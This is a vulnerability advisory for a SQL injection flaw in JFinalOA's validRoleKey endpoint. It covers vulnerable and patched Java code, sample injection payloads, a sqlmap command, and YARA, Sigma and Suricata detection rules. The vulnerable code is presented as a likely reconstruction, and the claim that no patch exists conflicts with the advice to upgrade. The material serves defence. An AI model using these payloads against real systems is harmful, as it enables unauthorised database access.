CVE-2024-57768

Executive Summary

CVE-2024-57768 is a SQL injection vulnerability discovered in JFinalOA, an open-source office automation system built on the JFinal framework. The flaw resides in the validRoleKey?sysRole.key endpoint, allowing an unauthenticated attacker to inject arbitrary SQL commands via the sysRole.key parameter. Successful exploitation could lead to unauthorized data access, modification, or deletion, and potentially full database compromise. No official patch was available at the time of analysis, but upgrading to version v2025.01.01 or later is recommended.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects a Java-based web application (JFinalOA) deployed on servers.

CVSS Breakdown & Threat Level

The CVSS score is currently 0.0 due to insufficient data. However, based on the nature of the vulnerability (SQL injection), the following vector is estimated:

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): None (N)
• User Interaction (UI): None (N)
• Scope (S): Unchanged (U)
• Confidentiality (C): High (H)
• Integrity (I): High (H)
• Availability (A): High (H)

Estimated CVSS Score: 9.8 (Critical)

Deep Dive & Mechanics

The vulnerability exists in the validRoleKey action of the JFinalOA application. The sysRole.key parameter is directly concatenated into a SQL query without proper sanitization or parameterization. JFinal's ActiveRecord plugin, if used incorrectly, can lead to SQL injection when user input is directly embedded in SQL strings.

The vulnerable code likely resembles:

String sql = "SELECT * FROM sys_role WHERE `key` = '" + getPara("sysRole.key") + "'";
Db.find(sql);

An attacker can inject SQL by providing a crafted value for sysRole.key, such as:

' OR '1'='1

This would result in the query:

SELECT * FROM sys_role WHERE `key` = '' OR '1'='1'

Vulnerable vs. Patched Code

Vulnerable Code (Pre-v2025.01.01):

public void validRoleKey() {
    String key = getPara("sysRole.key");
    String sql = "SELECT * FROM sys_role WHERE `key` = '" + key + "'";
    List<SysRole> roles = SysRole.dao.find(sql);
    // ...
}

Patched Code (v2025.01.01 or later):

public void validRoleKey() {
    String key = getPara("sysRole.key");
    String sql = "SELECT * FROM sys_role WHERE `key` = ?";
    List<SysRole> roles = SysRole.dao.find(sql, key);
    // ...
}

The patched version uses parameterized queries (? placeholder) to prevent SQL injection.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Deploy a vulnerable JFinalOA instance (version < v2025.01.01) on a local server or Docker container.
2. Ensure the application is accessible via HTTP.

Exploitation Steps:

1. Identify the vulnerable endpoint: http://target/jfinaloa/validRoleKey?sysRole.key=test
2. Inject SQL payloads via the sysRole.key parameter.

Example Payloads:

• Basic authentication bypass:

  ' OR '1'='1
  

• Extract database version:

  ' UNION SELECT 1,@@version,3,4,5 --
  

• Dump table names:

  ' UNION SELECT 1,table_name,3,4,5 FROM information_schema.tables --
  

Automated Exploitation (using sqlmap):

sqlmap -u "http://target/jfinaloa/validRoleKey?sysRole.key=test" --batch --dbs

Blue Team (Defensive)

Detection:

• Monitor for unusual SQL error messages in application logs.
• Look for HTTP requests containing SQL keywords (e.g., UNION, SELECT, OR) in the sysRole.key parameter.
• Use WAF rules to block SQL injection patterns.

Mitigation:

• Immediately upgrade to JFinalOA v2025.01.01 or later.
• If upgrade is not possible, apply a virtual patch using a WAF to filter malicious input.
• Implement input validation and parameterized queries in all database interactions.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests to /validRoleKey?sysRole.key= containing SQL keywords.
  • Unusual database error messages in HTTP responses (e.g., "You have an error in your SQL syntax").

• File IOCs:

  • Modified application logs showing SQL injection attempts.
  • Unexpected database dump files on the server.

• Behavioral IOCs:

  • Unauthorized access to database tables.
  • Unusual database queries originating from the application server.

Detection Engineering

YARA Rule

rule CVE_2024_57768_SQLi_Detection {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2024-57768 in JFinalOA"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-57768"
    strings:
        $sqli_pattern1 = /sysRole\.key=.*['\"]\s*(OR|AND|UNION|SELECT|INSERT|UPDATE|DELETE|DROP|--|#)/i
        $sqli_pattern2 = /sysRole\.key=.*\b(OR|AND)\b.*['\"]/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-57768 SQL Injection Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts targeting the validRoleKey endpoint in JFinalOA
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains: "/validRoleKey"
        c-uri|contains|word: 
            - "' OR"
            - "' AND"
            - " UNION"
            - " SELECT"
            - " INSERT"
            - " UPDATE"
            - " DELETE"
            - " DROP"
            - "--"
            - "#"
    condition: selection
falsepositives:
    - Legitimate use of special characters in keys (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-57768 SQL Injection Attempt"; flow:to_server; content:"/validRoleKey"; http_uri; content:"sysRole.key"; http_uri; pcre:"/sysRole\.key=.*['\"]\s*(OR|AND|UNION|SELECT|INSERT|UPDATE|DELETE|DROP|--|#)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Upgrade to JFinalOA v2025.01.01 or later.
2. Virtual Patching: If upgrade is not possible, deploy a WAF rule to block SQL injection patterns in the sysRole.key parameter.
3. Code Review: Ensure all database queries use parameterized statements or prepared statements.
4. Input Validation: Implement strict input validation for all user-supplied parameters.
5. Least Privilege: Ensure the database user used by the application has minimal necessary privileges.
6. Monitoring: Enable detailed logging and monitor for SQL injection attempts.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert